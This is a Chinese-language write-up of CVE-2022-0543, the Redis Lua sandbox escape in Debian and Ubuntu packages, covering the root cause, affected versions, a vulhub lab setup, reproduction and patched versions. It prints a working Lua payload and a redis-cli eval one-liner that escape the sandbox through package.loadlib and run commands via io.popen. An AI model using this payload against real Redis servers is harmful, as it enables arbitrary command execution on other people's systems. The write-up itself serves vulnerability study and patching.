Redis Lua 沙盒逃逸漏洞（CVE-2022-0543）

1.漏洞描述

        Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本的能力。Debian以及Ubuntu发行版的源在打包Redis时，在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。

2.漏洞原理

        Redis一直有一个攻击点,就是在用户连接redis后,可以通过eval命令执行lua脚本，但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件。Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包，例如Debian给Redis打的补丁,增加了一个include。

        Debian 以及 Ubuntu 发行版的源在打包 Redis 时，不慎在 Lua 沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数，进而逃逸沙箱执行任意命令。我们借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数，即可获得io库，再使用其执行命令。

debian这个include的这段代码是在make的时候用shell脚本动态生成的：

debian/lua_libs_debian.c:
    echo "// Automatically generated; do not edit." >$@
    echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
    set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
        echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
        echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
    done
    echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

-> luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);

        在原始的redis源码里全局搜索一下这句话,可以发现这句话原本就是存在于源码里的，但是通过条件宏的方式注释掉了，将其注释掉的原因就是“for sandboxing concerns”。 但是Debian的这个补丁却把这句话重新写进去了，而这句话的意思就是向lua的上下文中注入一个package模块。

我们可以利用这个模块，来加载任意Lua库，最终逃逸沙箱，执行任意命令。

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

3.影响版本

2.2 <= redis < 5.0.13

2.2 <= redis < 6.0.15

2.2 <= redis < 6.2.5

4.环境搭建

安装docker，更新vulhub

git pull

进入vulhub/redis/CVE-2022-0543，启动漏洞环境

docker-compose up -d

5.漏洞复现

Kali安装redis-cli工具 apt-get install redis-server

使用redis-cli工具连接redis数据库

redis-cli -h 192.168.42.145 –p 6379

发送恶意代码，可以看到回显数据为执行命令id的内容

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

6.修复建议

升级更新Redis软件包到以下版本：

Debian：

Debian Redis（buster）：5:5.0.14-1+deb10u2

Debian Redis（bullseye）：5:6.0.16-1+deb11u2

Debian Redis（unstable)：5:6.0.16-2

Ubuntu：

Ubuntu 21.10 Redis：5:6.0.15-1ubuntu0.1

Ubuntu 20.04 Redis：5:5.0.7-2ubuntu0.1

修复方法：在 Lua 初始化的末尾添加package=nil